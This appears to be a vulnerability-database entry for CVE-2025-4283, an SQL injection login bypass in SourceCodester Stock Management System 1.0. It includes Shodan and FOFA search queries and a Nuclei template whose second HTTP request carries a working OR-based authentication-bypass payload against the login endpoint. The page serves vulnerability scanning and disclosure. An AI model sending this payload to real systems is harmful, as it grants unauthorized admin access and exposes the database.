SecurityContext

CVE-2025-4283: SourceCodester Stock Management System 1.0 - SQL Injection Authentication Bypass

Classification

  • Cwe: CWE-89
  • Cvss score: 9.8
  • Cvss vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
  • Epss score: 0.02197
  • Epss percentile: 0.82955
  • Not known: cpe

Metadata

  • Fofa-query: title="Stock Management System"
  • Max-request: 2
  • Product: stock_management_system
  • Shodan-query: title:"Stock Management System"
  • Vendor: oretnom23
  • Verified: yes

Products

ProductIndexedUrl
oretnom23:stock_management_systemyes/v1/products/oretnom23/stock_management_system

Labels

  • Name: SourceCodester/oretnom23 Stock Management System - SQL Injection
  • Impact: Remote attackers can execute arbitrary SQL commands, potentially leading to data theft, data tampering, or full database compromise.
  • Remediation: Update to the latest version or apply security patches that fix SQL injection vulnerabilities.
  • Vulnerability type: sql_injection
  • Vulnerability impact: information_disclosure, data_tampering
  • Requirement type: none
  • Labels source: projectdiscovery
  • From cve: CVE-2025-4283
  • Not known: requirements

```yaml

id: CVE-2025-4283

info:

name: SourceCodester Stock Management System 1.0 - SQL Injection Authentication Bypass

author: DhiyaneshDk

severity: critical

description: |

SourceCodester Stock Management System 1.0 contains a SQL injection vulnerability in the login function at /sms/classes/Login.php. The username parameter is directly interpolated into an SQL query without sanitization, allowing an unauthenticated attacker to bypass authentication and gain admin access via a crafted OR-based payload.

impact: |

An unauthenticated remote attacker can bypass authentication and gain administrative access to the Stock Management System, leading to full database compromise.

remediation: |

Use prepared statements with parameterized queries for all database interactions. Replace direct string interpolation in SQL queries with PDO or MySQLi prepared statements.

reference:

- https://nvd.nist.gov/vuln/detail/CVE-2025-4283

- https://github.com/th3w0lf-1337/Vulnerabilities/blob/main/SMS-PHP/SQLi/Auth-Bypass/info.md

- https://www.sourcecodester.com/php/17aborb/stock-management-system-php.html

classification:

cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

cvss-score: 9.8

cve-id: CVE-2025-4283

cwe-id: CWE-89

epss-score: 0.02197

epss-percentile: 0.82955

metadata:

verified: true

max-request: 2

vendor: oretnom23

product: stock_management_system

fofa-query: title="Stock Management System"

shodan-query: title:"Stock Management System"

tags: cve,cve2025,sqli,auth-bypass,sourcecodester,sms,vkev

variables:

rand: "{{rand_text_alpha(8)}}"

flow: http(1) && http(2)

http:

- raw:

- |

POST /sms/classes/Login.php?f=login HTTP/1.1

Host: {{Hostname}}

Content-Type: application/x-www-form-urlencoded

username={{rand}}&password={{rand}}

matchers:

- type: dsl

dsl:

- 'contains(body, "\"status\":\"incorrect\"")'

internal: true

- raw:

- |

POST /sms/classes/Login.php?f=login HTTP/1.1

Host: {{Hostname}}

Content-Type: application/x-www-form-urlencoded

username={{url_encode("admin' OR '{{rand}}'='{{rand}}")}}&password={{rand}}

matchers-condition: and

matchers:

- type: dsl

dsl:

- 'contains(body, "\"status\":\"success\"")'

- 'status_code == 200'

- 'contains(to_lower(header), "text/html")'

condition: and

digest: 4a0a0047304502203c50adc04b35fe37c15a5644a02ed2d8136072e8f9d8e4de7c5b7e86e9f26411022100f0cd4a4c8f1fc3ac7ca6898d7253034a927f386d661a1116be78854bbe0cc42d:922c64590222798bb761d5b6d8e72950

```